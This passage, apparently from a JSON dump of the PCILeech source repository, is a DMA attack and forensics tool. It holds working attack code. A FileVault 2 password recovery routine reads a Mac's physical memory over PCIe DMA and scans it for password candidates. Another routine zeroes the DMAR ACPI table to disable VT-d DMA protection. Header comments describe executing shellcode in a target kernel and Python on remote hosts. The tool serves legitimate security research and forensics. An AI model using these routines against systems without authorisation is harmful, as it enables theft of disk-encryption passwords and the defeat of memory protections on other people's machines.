ActionAgentForensic_OutFileDirectory(szLocalFile, szTag);\n    CreateDirectoryA(szLocalFile, NULL);\n    printf(\"\\nRemote Files:\\n\");\n    for(i = 0; i < pVfsList->cFileEntry; i++) {\n        if(pVfsList->FileEntry[i].cbFileSize != -1) {\n            szFile = pVfsList->uszMultiText + pVfsList->FileEntry[i].ouszName;\n            printf(\"  %s\\t\\t[%lli MB]\\n\", szFile, pVfsList->FileEntry[i].cbFileSize / (1024 * 1024));\n            if(!strcmp(szFile, \"general.json\") || !strcmp(szFile, \"registry.json\") || !strcmp(szFile, \"timeline.json\")) {\n                _snprintf_s(szRemoteFile, _countof(szRemoteFile), _TRUNCATE, \"\\\\forensic\\\\json\\\\%s\", szFile);\n                _snprintf_s(szLocalFile + cchLocalFileDirectory, _countof(szLocalFile) - cchLocalFileDirectory, _TRUNCATE, \"\\\\%s\", szFile);\n                ActionAgentForensic_GetFile(szRemoteFile, szLocalFile, pVfsList->FileEntry[i].cbFileSize);\n            }\n        }\n    }\n    printf(\"Completed!\\n\\n\");\nfail:\n    LocalFree(pReq);\n    LocalFree(pRsp);\n}\n\n#endif /* _WIN32 */\n#if defined(LINUX) || defined(MACOS)\n\nVOID ActionAgentForensic()\n{\n    printf(\"Command 'agent-elastic' is only supported on Windows.\\n\");\n}\n\n#endif /* LINUX || MACOS */\n"
  },
  {
    "path": "pcileech/executor.h",
    "content": "// executor.h : definitions related to 'code execution' and 'console redirect' functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __EXECUTOR_H__\n#define __EXECUTOR_H__\n#include \"pcileech.h\"\n#include \"oscompatibility.h\"\n#include \"kmd.h\"\n\n/*\n* Execute a console redirect\n* -- ConsoleBufferAddr_InputStream = physical or virtual address.\n* -- ConsoleBufferAddr_OutputStream = physical or virtual address.\n* -- dwPID = zero if physical address read, non-zero if virtual address read.\n*/\nVOID Exec_ConsoleRedirect(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _In_ DWORD dwPID);\n\n/*\n* Callback for when kernel executable code is in \"extended execution mode\".\n* This will allow the kernel executable code running on the target machine to\n* communicate interactively with this executable to deliver large files.\n* -- phCallback = ptr to handle; handle must be null on first entry.\n* -- return = TRUE on success or partial failure, FALSE on fatal error.\n*/\n_Success_(return)\nBOOL Exec_Callback(_Inout_ PHANDLE phCallback);\n\n/*\n* Close handle opened/used in Exec_Callback.\n* -- hCallback = handle to close.\n*/\nVOID Exec_CallbackClose(_In_opt_ HANDLE hCallback);\n\n/*\n* Execute specified shellcode silently (do not display anything on-screen).\n* This function is to be called internally by PCILeech functionality that\n* require more advanced kernel functionality than the core implant is able\n* to provide.\n* -- szShellcodeName\n* -- pbIn = binary data to send to shellcode executing on the target.\n* -- cbIn\n* -- ppbOut = ptr to receive allocated buffer containing the result.\n*      Callers responsibility to call LocalFree(*ppbOut).\n* -- pcbOut\n* -- result\n*/\n_Success_(return)\nBOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_opt_ PBYTE *ppbOut, _Out_opt_ PQWORD pcbOut);\n\n/*\n* Try to execute a shellcode module in the target system kernel. This function\n* requires a KMD to be loaded. The KMD is then used to load and execute the\n* code supplied in the target system!\n*/\nVOID ActionExecShellcode();\n\n/*\n* Try execute python code on a remote host in the context of the LeechSvc.\n*/\nVOID ActionAgentExecPy();\n\n/*\n* Retrieve remote elasticsearch forensic information.\n*/\nVOID ActionAgentForensic();\n\n#endif /* __EXECUTOR_H__ */\n"
  },
  {
    "path": "pcileech/extra.c",
    "content": "// extra.c : implementation related various extra functionality such as exploits.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"extra.h\"\n#include \"device.h\"\n#include \"util.h\"\n\nVOID Extra_MacFVRecover_ReadMemory_Optimized(_Inout_ PBYTE pb512M)\n{\n    DWORD i, dwOffsets[] = {\n        0x74000000, 0x75000000, 0x76000000, 0x77000000, 0x78000000, 0x79000000, 0x7a000000, 0x7b000000,\n        0x7c000000, 0x7d000000, 0x7e000000, 0x7f000000, 0x80000000, 0x81000000, 0x82000000, 0x83000000,\n        0x84000000, 0x85000000, 0x86000000, 0x87000000, 0x70000000, 0x71000000, 0x72000000, 0x73000000,\n        0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000\n    };\n    for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) {\n        DeviceReadDMA(dwOffsets[i], 0x01000000, pb512M + dwOffsets[i] - 0x70000000, NULL);\n    }\n}\n\nBOOL Extra_MacFVRecover_Analyze(_In_ PBYTE pb512M)\n{\n    DWORD i, o, dwCandidate;\n    PBYTE pb;\n    BOOL isFound = 0;\n    const BYTE CONST_ZERO_32[32] = { 0 };\n    BYTE pbLast[32];\n    memset(pbLast, 0x00, 32);\n    for(o = 0; o < 0x20000000; o += 0x1000) {\n        pb = (PBYTE)(pb512M + o);\n        if(*(PDWORD)pb != 0x30646870) { // signature \"phd0\"\n            continue; // not correct signature -> skip this page.\n        }\n        dwCandidate = 0;\n        for(i = 0x18; i < 0x800; i += 8) {\n            if((*(PQWORD)(pb + i) & 0xff00ff00ff00ff00)) {\n                break; // non ascii chars in qword block -> skip this page.\n            }\n            if(dwCandidate == 0) {\n                if(!*(PQWORD)(pb + i)) {\n                    continue; // empty block -> page is still a candidate.\n                }\n                if(0 == pb[i + 6]) {\n                    break; // less than 4 chars in pwd candidate -> skip this page.\n                }\n                if(*(PQWORD)(pb + i) == 0x0043005f00520047) {\n                    break; // known false positive starts with GR_C -> skip this page.\n                }\n                dwCandidate = i;\n                continue;\n            }\n            if(0 == *(PQWORD)(pb + i)) {\n                if(memcmp(pb + i, CONST_ZERO_32, 32)) {\n                    break; // not 32 bytes of zero after pwd candidate -> skip this page.\n                }\n                // password candidate found!!!\n                isFound = TRUE;\n                if(memcmp(pbLast, pb + dwCandidate, 32)) { // duplicate removal\n                    memcpy(pbLast, pb + dwCandidate, 32);\n#ifdef _WIN32\n                    printf(\"MAC_FVRECOVER: PASSWORD CANDIDATE: %S\\n\", (LPWSTR)(pb + dwCandidate));\n#endif /* _WIN32 */\n#if defined(LINUX) || defined(MACOS)\n                    printf(\"MAC_FVRECOVER: PASSWORD CANDIDATE (hex8): %llx\\n\", *(PQWORD)(pb + dwCandidate));\n#endif /* LINUX || MACOS */\n                }\n                break;\n            }\n        }\n    }\n    return isFound;\n}\n\nVOID Extra_MacFVRecover_SetOutFileName()\n{\n    SYSTEMTIME st;\n    if(ctxMain->cfg.szFileOut[0] == 0) {\n        GetLocalTime(&st);\n        _snprintf_s(\n            ctxMain->cfg.szFileOut,\n            MAX_PATH,\n            _TRUNCATE,\n            \"pcileech-mac-fvrecover-%i%02i%02i-%02i%02i%02i.raw\",\n            st.wYear,\n            st.wMonth,\n            st.wDay,\n            st.wHour,\n            st.wMinute,\n            st.wSecond);\n    }\n}\n\nVOID Action_MacFilevaultRecover(_In_ BOOL IsRebootRequired)\n{\n    FILE *pFile = NULL;\n    PBYTE pbBuffer512M;\n    // Allocate 512 MB buffer\n    if(!(pbBuffer512M = LocalAlloc(LMEM_ZEROINIT, 0x20000000))) {\n        printf(\"MAC_FVRECOVER: FAILED. Unable to allocate memory.\\n\");\n        return;\n    }\n    if(IsRebootRequired) {\n        // Wait for target computer reboot (device will power cycle).\n        printf(\n            \"MAC_FVRECOVER: WAITING ... please reboot ...\\n\" \\\n            \"  Please force a reboot of the mac by pressing CTRL+CMD+POWER\\n\" \\\n            \"  WARNING! This will not work in macOS Sierra 10.12.2 and later.\\n\");\n        Util_WaitForPowerCycle();\n    } else {\n        // Wait for DMA read access to target computer.\n        printf(\"MAC_FVRECOVER: WAITING for DMA access ...\\n\");\n        Util_WaitForPowerOn();\n    }\n    // Try read 512M of memory from in the range: [0x70000000..0x90000000[.\n    printf(\"MAC_FVRECOVER: Continuing ...\\n\");\n    Extra_MacFVRecover_ReadMemory_Optimized(pbBuffer512M);\n    // Try write to disk image.\n    printf(\"MAC_FVRECOVER: Writing partial memory contents to file ...\\n\");\n    Extra_MacFVRecover_SetOutFileName();\n    if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, \"r\") || pFile) {\n        printf(\"MAC_FVRECOVER: Error writing partial memory contents to file. File exists.\\n\");\n        if(pFile) { fclose(pFile); }\n        pFile = NULL;\n    } else if(fopen_s(&pFile, ctxMain->cfg.szFileOut, \"wb\") || !pFile) {\n        printf(\"MAC_FVRECOVER: Error writing partial memory contents to file.\\n\");\n        pFile = NULL;\n    }\n    else if(0x20000000 != fwrite(pbBuffer512M, 1, 0x20000000, pFile)) {\n        printf(\"MAC_FVRECOVER: Error writing partial memory contents to file.\\n\");\n    } else {\n        printf(\"MAC_FVRECOVER: File: %s.\\n\", ctxMain->cfg.szFileOut);\n    }\n    // Analyze for possible password candidates.\n    printf(\"MAC_FVRECOVER: Analyzing ...\\n\");\n    if(Extra_MacFVRecover_Analyze(pbBuffer512M)) {\n        printf(\"MAC_FVRECOVER: Completed.\\n\");\n    } else {\n        printf(\"MAC_FVRECOVER: Failed.\\n\");\n    }\n    // clean up.\n    LocalFree(pbBuffer512M);\n    if(pFile) { fclose(pFile); }\n}\n\nVOID Action_MacDisableVtd()\n{\n    PBYTE pb16M;\n    BYTE ZERO16[16] = { 0 };\n    DWORD i, j, dwAddress, dwOffsets[] = {\n        0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x89000000, 0x88000000, 0x87000000, 0x86000000\n    };\n    // Allocate 16 MB buffer\n    if(!(pb16M = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) {\n        printf(\"MAC_DISABLE_VTD: FAILED. Unable to allocate memory.\\n\");\n        return;\n    }\n    // Wait for DMA read access to target computer.\n    printf(\"MAC_DISABLE_VTD: WAITING for DMA access ...\\n\");\n    Util_WaitForPowerOn();\n    // DMAR table assumed to be on page boundary. This doesn't have to be true,\n    // but it seems like it is on the MACs.\n    for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) {\n        if(DeviceReadDMA(dwOffsets[i], 0x01000000, pb16M, NULL)) {\n            for(j = 0; j < 0x01000000; j += 0x1000) {\n                if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) {\n                    dwAddress = dwOffsets[i] + j;\n                    if(LcWrite(ctxMain->hLC, dwAddress, 16, ZERO16)) {\n                        printf(\"MAC_DISABLE_VTD: VT-d DMA protections should now be disabled ...\\n\");\n                        printf(\"MAC_DISABLE_VTD: DMAR ACPI table found and removed at: 0x%08x\\n\", dwAddress);\n                        LocalFree(pb16M);\n                        return;\n                    }\n                }\n            }\n        }\n    }\n    LocalFree(pb16M);\n    printf(\"MAC_DISABLE_VTD: Failed to disable VT-d DMA protections.\\n\");\n}\n\nVOID Action_PT_Phys2Virt()\n{\n    BOOL result;\n    QWORD qwVA, qwPTE, qwPDE, qwPDPTE, qwPML4E;\n    printf(\"PT_PHYS2VIRT: searching ... (this may take some time).\\n\");\n    result = Util_PageTable_FindMappedAddress(ctxMain->cfg.paCR3, ctxMain->cfg.qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E);\n    if(result) {\n        printf(\"PT_PHYS2VIRT: finished.\\n\");\n        printf(\"          0x00000000FFFFFFFF\\n\");\n        printf(\"   PA:    0x%016llx\\n\", ctxMain->cfg.qwDataIn[0]);\n        printf(\"   VA:    0x%016llx\\n\", qwVA);\n        printf(\"   PTE:   0x%016llx\\n\", qwPTE);\n        printf(\"   PDE:   0x%016llx\\n\", qwPDE);\n        printf(\"   PDPTE: 0x%016llx\\n\", qwPDPTE);\n        printf(\"   PML4E: 0x%016llx\\n\", qwPML4E);\n    } else {\n        printf(\"PT_PHYS2VIRT: Failed.\\n\");\n    }\n}\n\nVOID Action_PT_Virt2Phys()\n{\n    BOOL result;\n    QWORD qwPA, qwPageBase, qwPageSize;\n    result = Util_PageTable_Virtual2Physical(ctxMain->cfg.paCR3, ctxMain->cfg.qwDataIn[0], &qwPA, &qwPageBase, &qwPageSize);\n    if(result) {\n        printf(\"PT_VIRT2PHYS: Successful.\\n\");\n        printf(\"               0x00000000FFFFFFFF\\n\");\n        printf(\"   VA:         0x%016llx\\n\", ctxMain->cfg.qwDataIn[0]);\n        printf(\"   PA:         0x%016llx\\n\", qwPA);\n        printf(\"   PG SIZE:    0x%016llx\\n\", qwPageSize);\n        printf(\"   PG BASE PA: 0x%016llx\\n\", qwPageBase);\n        printf(\"   CR3/PML4:   0x%016llx\\n\", ctxMain->cfg.paCR3);\n    } else {\n        printf(\"PT_VIRT2PHYS: Failed.\\n\");\n    }\n}\n\n/*\n* Dummy callback to receive TLPs from LeechCore.\n* This is required to keep TLP receiver thread in LeechCore running.\n*/\nVOID Action_TlpTx_DummyCB(_In_opt_ PVOID ctx, _In_ DWORD cbTlp, _In_ PBYTE pbTlp, _In_opt_ DWORD cbInfo, _In_opt_ LPSTR szInfo)\n{\n    ;\n}\n\nVOID Action_TlpTx()\n{\n    DWORD dwListenTlpMs = 100;\n    if(ctxMain->cfg.cbIn < 12) {\n        printf(\"Action_TlpTx: Invalid TLP (too short).\\n\");\n        return;\n    }\n    if(ctxMain->cfg.cbIn % 4) {\n        printf(\"Action_TlpTx: Invalid TLP (length not multiple of 4).\\n\");\n        return;\n    }\n    printf(\"TLP: Transmitting PCIe TLP.%s\\n\", ctxMain->cfg.fVerboseExtra ? \"\" : \" (use -vvv option for detailed info).\");\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DUMMY, NULL, NULL);\n    if(ctxMain->cfg.fLoop) {\n        printf(\"TLP: Starting loop TLP transmit. Press CTRL+C to abort.\\n\");\n        while(TRUE) {\n            LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_WRITE_SINGLE, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, NULL, NULL);\n        }\n        return;\n    }\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_WRITE_SINGLE, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, NULL, NULL);\n    Sleep(dwListenTlpMs);\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DISABLE, NULL, NULL);\n}\n\nVOID Action_TlpTxLoop()\n{\n    WORD wTxSleep = 64, wValid = 0;\n    DWORD dwMax = 0xffffffff, dwListenTlpMs = 100, dwEnableTx = 0x00080008, dwDisableTx = 0x00080000;\n    QWORD i, qwFpgaVersionMajor = 0, qwFpgaVersionMinor = 0;\n    if(ctxMain->cfg.cbIn < 12) {\n        printf(\"Action_TlpTxLoop: Invalid TLP (too short).\\n\");\n        return;\n    }\n    if(ctxMain->cfg.cbIn > 48) {\n        printf(\"Action_TlpTxLoop: Invalid TLP (too long).\\n\");\n        return;\n    }\n    if(ctxMain->cfg.cbIn % 4) {\n        printf(\"Action_TlpTxLoop: Invalid TLP (length not multiple of 4).\\n\");\n        return;\n    }\n    LcGetOption(ctxMain->hLC, LC_OPT_FPGA_VERSION_MAJOR, &qwFpgaVersionMajor);\n    LcGetOption(ctxMain->hLC, LC_OPT_FPGA_VERSION_MINOR, &qwFpgaVersionMinor);\n    if((qwFpgaVersionMajor < 4) || ((qwFpgaVersionMajor == 4) && (qwFpgaVersionMinor < 2))) {\n        printf(\"Action_TlpTxLoop: FPGA version not supported (bitstream v4.2 or later required).\\n\");\n        return;\n    }\n    // start background reader thread (to print out any received TLPs):\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DUMMY, NULL, NULL);\n    printf(\"TLP: Transmitting PCIe LOOP TLPs. Press any key to stop.%s\\n\", ctxMain->cfg.fVerboseExtra ? \"\" : \" (use -vvv option for detailed info).\");\n    // tx each 64 clk [66MHz - 15ns clk] (15ns * 64 -> ~1uS)\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x801e, sizeof(WORD), (PBYTE)&wTxSleep, NULL, NULL);\n    // tlp value\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x8020, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, NULL, NULL);\n    // set \"infinite\" [very long] loop\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x8050, sizeof(DWORD), (PBYTE)&dwMax, NULL, NULL);\n    // set valid TLP QWORDs\n    i = ctxMain->cfg.cbIn;\n    wValid = 1 | ((i % 8) ? 0 : 2);\n    i -= (i % 8) ? 4 : 8;\n    while(i) {\n        i -= 8;\n        wValid = 2 | (wValid << 2);\n    }\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x801c, sizeof(WORD), (PBYTE)&wValid, NULL, NULL);\n    // start tx\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE_MARKWR | 0x8002, sizeof(DWORD), (PBYTE)&dwEnableTx, NULL, NULL);\n    // wait for keypress to stop\n    while(!_kbhit()) {\n        ;\n    }\n    // stop\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE_MARKWR | 0x8002, sizeof(DWORD), (PBYTE)&dwDisableTx, NULL, NULL);\n    LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DISABLE, NULL, NULL);\n}\n\n/*\n* Read/Write to FPGA PCIe shadow configuration space.\n*/\nVOID Action_RegCfgReadWrite()\n{\n    BOOL fResult;\n    FILE *pFile = NULL;\n    PBYTE pbLcCfgSpace4096 = NULL;\n    if(ctxMain->cfg.cbIn) {\n        // WRITE mode:\n        if((ctxMain->cfg.paAddrMin > 0x1000) || (ctxMain->cfg.paAddrMin + ctxMain->cfg.cbIn > 0x1000)) {\n            printf(\"REGCFG: Write failed outside FPGA PCIe shadow configuration space (0x1000).\\n\");\n            return;\n        }\n        fResult = LcCommand(\n            ctxMain->hLC,\n            LC_CMD_FPGA_CFGSPACE_SHADOW_WR | ctxMain->cfg.paAddrMin,\n            (DWORD)ctxMain->cfg.cbIn,\n            ctxMain->cfg.pbIn,\n            NULL,\n            NULL\n        );\n        if(fResult) {\n            printf(\"REGCFG: Write SUCCESS!\\n\");\n        } else {\n            printf(\"REGCFG: Write to FPGA PCIe shadow configuration space failed.\\n\");\n        }\n        return;\n    }\n    // READ mode:\n    fResult = LcCommand(\n        ctxMain->hLC,\n        LC_CMD_FPGA_CFGSPACE_SHADOW_RD,\n        0,\n        NULL,\n        &pbLcCfgSpace4096,\n        NULL\n    );\n    if(!fResult) {\n        printf(\"REGCFG: Read FPGA PCIe shadow configuration space failed.\\n\");\n        return;\n    }\n    // READ success:\n    if(ctxMain->cfg.szFileOut[0]) {\n        // open output file\n        if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, \"r\") || pFile) {\n            printf(\"REGCFG: Error writing output to file. File already exists: %s\\n\", ctxMain->cfg.szFileOut);\n            goto fail;\n        }\n        if(fopen_s(&pFile, ctxMain->cfg.szFileOut, \"wb\") || !pFile) {\n            printf(\"REGCFG: Error writing output to file.\\n\");\n            goto fail;\n        }\n        if(0x1000 != fwrite(pbLcCfgSpace4096, 1, 0x1000, pFile)) {\n            printf(\"REGCFG: Error writing output to file.\\n\");\n            goto fail;\n        }\n        printf(\"REGCFG: Wrote %i bytes to file %s.\\n\", 0x1000, ctxMain->cfg.szFileOut);\n    }\n    if(ctxMain->cfg.paAddrMin < 0x1000) {\n        // print to screen\n        printf(\"REGCFG: Please see result below: \\n================================ \\n\");\n        if((ctxMain->cfg.paAddrMin > ctxMain->cfg.paAddrMax) || (ctxMain->cfg.paAddrMax > 0xfff)) {\n            ctxMain->cfg.paAddrMax = 0xfff;\n        }\n        Util_PrintHexAscii(\n            pbLcCfgSpace4096,\n            (DWORD)(ctxMain->cfg.paAddrMax + 1),\n            (DWORD)ctxMain->cfg.paAddrMin\n        );\n    }\nfail:\n    if(pFile) { fclose(pFile); }\n    LcMemFree(pbLcCfgSpace4096);\n}\n\n\n\n//-----------------------------------------------------------------------------\n// PCIe BAR read/write functionality (with callback) below:\n//-----------------------------------------------------------------------------\nstatic PBYTE pbBarBuffer[6] = { NULL, NULL, NULL, NULL, NULL, NULL };\n\n/*\n* Callback function to be called when a PCIe BAR read/write is requested from the host system.\n*/\nVOID Extra_BarReadWriteCallback(_Inout_ PLC_BAR_REQUEST pBarRequest)\n{\n    DWORD i;\n    PBYTE pb = pbBarBuffer[pBarRequest->pBar->iBar];\n    if(pBarRequest->fWrite && pb) {\n        if((pBarRequest->bFirstBE == 0xf) && (pBarRequest->bLastBE == 0xf)) {\n            // full write:\n            memcpy(pb + pBarRequest->oData, pBarRequest->pbData, pBarRequest->cbData);\n            return;\n        } else {\n            // partial write:\n            // first byte enable:\n            for(i = 0; i < 4; i++) {\n                if((pBarRequest->bFirstBE >> i) & 1) {\n                    pb[pBarRequest->oData + i] = pBarRequest->pbData[i];\n                }\n            }\n            // middle bytes:\n            if(pBarRequest->cbData > 8) {\n                memcpy(pb + pBarRequest->oData + 4, pBarRequest->pbData + 4, pBarRequest->cbData - 8);\n            }\n            // last byte enable:\n            if(pBarRequest->cbData > 4) {\n                for(i = 0; i < 4; i++) {\n                    if((pBarRequest->bLastBE >> i) & 1) {\n                        pb[pBarRequest->oData + pBarRequest->cbData - 4 + i] = pBarRequest->pbData[pBarRequest->cbData - 4 + i];\n                    }\n                }\n            }\n            return;\n        }\n    }\n    if(pBarRequest->fRead && pb) {\n        memcpy(pBarRequest->pbData, pb + pBarRequest->oData, pBarRequest->cbData);\n        pBarRequest->fReadReply = TRUE;\n        return;\n    }\n}\n\n/*\n* Register a callback that will implement read/write support of PCIe BARs.\n*/\nVOID Extra_BarReadWriteInitialize()\n{\n    DWORD i;\n    LC_BAR Bar[6] = { 0 };\n    PBYTE pbBarInfoBuffer = NULL;\n    // 1: retrieve BAR info from the FPGA using the LC_CMD_FPGA_BAR_INFO command, copy and free memory.\n    if(!LcCommand(ctxMain->hLC, LC_CMD_FPGA_BAR_INFO, 0, NULL, &pbBarInfoBuffer, NULL) || !pbBarInfoBuffer) {\n        printf(\"BAR: Error reading BAR info.\\n\");\n        return;\n    }\n    memcpy(Bar, pbBarInfoBuffer, 6 * sizeof(LC_BAR));\n    LcMemFree(pbBarInfoBuffer);\n    pbBarInfoBuffer = NULL;\n    // 2: allocate memory for BARs (if sane buffer sizes):\n    for(i = 0; i < 6; i++) {\n        if(Bar[i].fValid && Bar[i].cb < 128*1024*1024) {\n            pbBarBuffer[i] = LocalAlloc(LMEM_ZEROINIT, Bar[i].cb);\n            if(!pbBarBuffer[i]) {\n                printf(\"BAR: Error allocating memory for BAR %i.\\n\", i);\n                return;\n            }\n        }\n    }\n    // 3: register callback function for BAR read/write requests:\n    if(!LcCommand(ctxMain->hLC, LC_CMD_FPGA_BAR_FUNCTION_CALLBACK, 0, (PBYTE)Extra_BarReadWriteCallback, NULL, NULL)) {\n        printf(\"BAR: Error registering callback function and enabling BAR TLP processing.\\n\");\n        return;\n    }\n}\n\n\n\n//-----------------------------------------------------------------------------\n// PCIe BAR read/write functionality (with callback) below:\n//-----------------------------------------------------------------------------\n/*\n* Helper function to benchmark read speed of a certain byte size.\n* -- ppMEMs\n* -- cb\n* -- return value: bytes per second\n*/\nQWORD Extra_Benchmark_ReadSingle(_In_ PPMEM_SCATTER ppMEMs, _In_ QWORD cb)\n{\n    LPSTR szcbUnit, szcbsUnit;\n    QWORD cbo, cbUnit, cbs, cbsUnit, tmStart, tmEnd, c = 0, cFail = 0, pcFail;\n    if(cb < 0x1000) {\n        szcbUnit = \"B \"; cbUnit = cb;\n    } else if(cb < 0x100000) {\n        szcbUnit = \"kB\"; cbUnit = cb / 1024;\n    } else {\n        szcbUnit = \"MB\"; cbUnit = cb / (1024 * 1024);\n    }\n    tmStart = GetTickCount64();\n    while((tmEnd = GetTickCount64()) - tmStart < 5000) {\n        for(cbo = 0; cbo < cb; cbo += 0x1000) {\n            ppMEMs[cbo >> 12]->cb = (DWORD)min(0x1000, cb);\n            ppMEMs[cbo >> 12]->f = FALSE;\n        }\n        LcReadScatter(ctxMain->hLC, max(1, (DWORD)(cb >> 12)), ppMEMs);\n        for(cbo = 0; cbo < cb; cbo += 0x1000) {\n            if(!ppMEMs[cbo >> 12]->f) {\n                cFail++;\n                break;\n            }\n        }\n        c++;\n    }\n    cbs = cb * c / 5;\n    pcFail = (cFail * 100) / c;\n    if(cbs < 2 * 1024 * 1024) {\n        cbsUnit = cbs / 1024;\n        szcbsUnit = \"kB/s\";\n    } else {\n        cbsUnit = cbs / (1024*1024);\n        szcbsUnit = \"MB/s\";\n    }\n    if(cFail) {\n        printf(\"READ %3llu %s %8llu reads/s %5llu %s (failed: %llu%%)\\n\", cbUnit, szcbUnit, (c / 5), cbsUnit, szcbsUnit, pcFail);\n    } else {\n        printf(\"READ %3llu %s %8llu reads/s %5llu %s\\n\", cbUnit, szcbUnit, (c / 5), cbsUnit, szcbsUnit);\n    }\n    return cbs;\n}\n\n\nVOID Action_Benchmark()\n{\n    // Allocate 16MB memory as MEMs:\n    PPMEM_SCATTER ppMEMs = NULL;\n    DWORD i, cMEMs = 0x1000;\n    QWORD cbs, qwTiny;\n    printf(\"================ PCILEECH BENCHMARK START ================\\n\");\n    if(!LcAllocScatter1(cMEMs, &ppMEMs)) {\n        printf(\"BENCHMARK: Error allocating memory.\\n\");\n        return;\n    }\n    for(i = 0; i < cMEMs; i++) {\n        ppMEMs[i]->qwA = 0x1000;\n    }\n    Extra_Benchmark_ReadSingle(ppMEMs, 8);          // 8 bytes\n    Extra_Benchmark_ReadSingle(ppMEMs, 128);        // 128 bytes\n    Extra_Benchmark_ReadSingle(ppMEMs, 512);        // 512 bytes\n    Extra_Benchmark_ReadSingle(ppMEMs, 0x1000);     // 4 KB\n    Extra_Benchmark_ReadSingle(ppMEMs, 0x10000);    // 64 KB\n    Extra_Benchmark_ReadSingle(ppMEMs, 0x100000);   // 1 MB\n    cbs = Extra_Benchmark_ReadSingle(ppMEMs, 0x1000000);  // 16 MB\n    printf(\"================ PCILEECH BENCHMARK FINISH ================\\n\");\n    if((cbs < 45 * 1024 * 1024) && LcGetOption(ctxMain->hLC, LC_OPT_FPGA_ALGO_TINY, &qwTiny)) {\n        // This is a FPGA device - otherwise the option would not exist.\n        if(qwTiny) {\n            printf(\"BENCHMARK: WARNING! Read speed is slow.\\n           TINY PCIe TLP algrithm auto-selected!\\n\");\n        } else {\n            printf(\"BENCHMARK: WARNING! Read speed is slow.\\n           USB connection most likely at USB2 speed.\\n           Check port/cable/connection for issues.\");\n        }\n    }\n    LcMemFree(ppMEMs);\n}\n"
  },
  {
    "path": "pcileech/extra.h",
    "content": "// extra.h : definitions related to various extra functionality such as exploits.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __EXTRA_H__\n#define __EXTRA_H__\n#include \"pcileech.h\"\n#include \"kmd.h\"\n\n/*\n* Recover the Filevault 2 password on locked macOS systems prior to 10.12.2.\n* (IsRebootRequired = TRUE).\n* Also recover the Filevault 2 password just after user filevault unlock on\n* some macs prior to 10.XX.YY (IsRebootRequired = FALSE).\n* -- IsRebootRequired\n*/\nVOID Action_MacFilevaultRecover(_In_ BOOL IsRebootRequired);\n\n/*\n* Try to disable VT-d on a mac in the short time window that exists after EFI\n* drops VT-d DMA protections and before macOS enables them again. If successful\n* the DMAR ACPI table will be zeroed out - resulting in macOS not enabling VT-d\n* DMA protections. This works on macs prior to 10.XX.YY\n*/\nVOID Action_MacDisableVtd();\n\n/*\n* Search for the virtual address that maps to a physical address given a page table base.\n*/\nVOID Action_PT_Phys2Virt();\n\n/*\n* Search for the physical address that is mapped by a virtual address given a page table base.\n*/\nVOID Action_PT_Virt2Phys();\n\n/*\n* Transmit the TLP data specified in the -in parameter.\n*/\nVOID Action_TlpTx();\n\n/*\n* Transmit TLPs in a hardware-assisted loop using on-board fpga logic.\n*/\nVOID Action_TlpTxLoop();\n\n/*\n* Read/Write to FPGA PCIe shadow configuration space.\n*/\nVOID Action_RegCfgReadWrite();\n\n/*\n* Register a callback that will implement read/write support of PCIe BARs.\n*/\nVOID Extra_BarReadWriteInitialize();\n\n/*\n* Run benchmarks (useful for PCIe benchmarking).\n*/\nVOID Action_Benchmark();\n\n#endif /* __EXTRA_H__ */\n"
  },
  {
    "path": "pcileech/help.c",
